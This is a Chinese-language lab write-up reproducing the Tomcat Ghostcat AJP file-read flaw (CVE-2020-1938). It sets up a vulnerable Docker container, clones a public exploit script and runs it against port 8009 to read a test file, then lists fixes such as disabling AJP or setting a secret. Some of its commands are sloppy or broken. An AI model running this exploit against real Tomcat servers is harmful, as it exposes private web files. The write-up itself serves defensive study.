漏洞简介
Tomcat默认开启AJP服务(8009端口),存在一处文件包含缺陷。攻击者可以通过构造的恶意请求包来进行文件包含操作,从而读取有漏洞的Tomcat服务器上Web目录文件。
影响版本
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
漏洞信息
| 漏洞名称 | 漏洞编号 | 危害等级 |
|---|---|---|
| Tomcat文件读取/包含漏洞 | CVE-2020-1938 | 严重 |
| CVSS评分 | 漏洞组件 | 受影响版本 |
| 9.9 | Tomcat | Apache Tomcat 6 等 |
环境搭建
- Ubuntu 18.04 LTS
- Tomcat-8.5.32
- Docker
- Nmap
漏洞复现
1.docker安装
首先更新资源update
sudo apt-get update
安装docker
sudo apt-get install docker
sudo apt-get install docker.io sudo
apt-get install docker-registry

2.nmap安装
apt install yum
apt-get install nmap
3.环境搭建
Tomcat安装
docker search Tomcat-8.5.32
docker pull duonghuuphuc/tomcat-8.5.32

查看拉取的Tomcat镜像
docker images

启动镜像
docker run -d -p 8080:8080 -p 8009:8009 --name ghostcat
duonghuuphuc/tomcat-8.5.32
docker port ghostcat

浏览器可访问Tomcat页面,既环境搭建成功。
4.漏洞验证:进入容器写入一个验证文件进行读取。
Docker exec -it ghostcat /bin/bash
cd webapps/ROOT/
Echo ‘this is CVE-2020-1938’
ls
Cat test.txt

下载一个EXP对验证文件进行读取
Git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
Ls
Cd CNVD-2020-10487-Tomcat-Ajp-lfi/
Ls
Chmod +x CNVD-2020-10487-Tomcat-Ajp-lfi.py
Ls
./CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 -f test.txt 192.168.32.132


漏洞修复
- 禁用AIP协议端口,在conf/server.xml配置文件中注释掉<Connector port=“8009” protocol="AJP/1.3"redirectPort=“8443”/>;
- 升级最新版本;
- Tomcat 7和Tomcat 9可为AJP Connector配置secret来设置AJP协议的认证凭证;
- Tomcat 8的可为AJP Connector配置requiredSecret来设置AJP协议的认证凭证。